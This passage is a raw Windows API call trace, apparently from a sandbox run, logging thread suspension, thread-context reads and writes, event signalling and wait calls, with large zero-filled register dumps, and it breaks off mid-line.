	[0241.518] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x19c) returned 1
	[0241.518] SuspendThread (hThread=0x19c) returned 0x0
	[0241.518] GetThreadContext (in: hThread=0x19c, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000117510, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1177a28, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0241.521] SetThreadContext (hThread=0x19c, lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000117508, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1149580, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0241.531] ResumeThread (hThread=0x19c) returned 0x1
	[0241.531] CloseHandle (hObject=0x19c) returned 1
	[0241.531] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.534] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.543] SetEvent (hEvent=0x190) returned 1
	[0241.543] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.550] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.554] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.573] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.579] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.588] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.591] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.596] SetEvent (hEvent=0xfc) returned 1
	[0241.596] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.616] SetEvent (hEvent=0xfc) returned 1
	[0241.616] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.620] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.634] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.641] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.644] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.651] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x2a) returned 0x0
	[0241.655] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.661] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.673] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.679] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.687] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.696] SetEvent (hEvent=0xfc) returned 1
	[0241.696] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.718] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.735] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.750] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.759] SetEvent (hEvent=0xf0) returned 1
	[0241.759] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.775] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.801] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.813] SetEvent (hEvent=0x1a0) returned 1
	[0241.813] SetEvent (hEvent=0x190) returned 1
	[0241.813] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.837] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.852] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.854] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.862] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.874] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.888] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.914] SetEvent (hEvent=0xe4) returned 1
	[0241.914] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.927] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.951] SetEvent (hEvent=0x1a0) returned 1
	[0241.951] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.970] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0241.981] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.015] SetEvent (hEvent=0x1a0) returned 1
	[0242.015] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.029] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.053] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.062] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.078] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.091] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.107] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.117] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.121] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.147] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.153] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.165] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.169] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.171] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.185] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0242.186] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x23c) returned 0x0
	[0242.197] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0242.198] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.201] SetEvent (hEvent=0xe4) returned 1
	[0242.201] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.244] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.266] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.296] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.333] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xec, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x120) returned 1
	[0242.334] SuspendThread (hThread=0x120) returned 0x0
	[0242.334] GetThreadContext (in: hThread=0x120, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70705ff898, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d56a4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0242.342] ResumeThread (hThread=0x120) returned 0x1
	[0242.342] CloseHandle (hObject=0x120) returned 1
	[0242.342] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.392] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0242.398] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x184, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x19c) returned 1
	[0242.398] SwitchToThread () returned 1
	[0242.400] SuspendThread (hThread=0x19c) returned 0x0
	[0242.400] GetThreadContext (in: hThread=0x19c, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x7070dffe78, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, 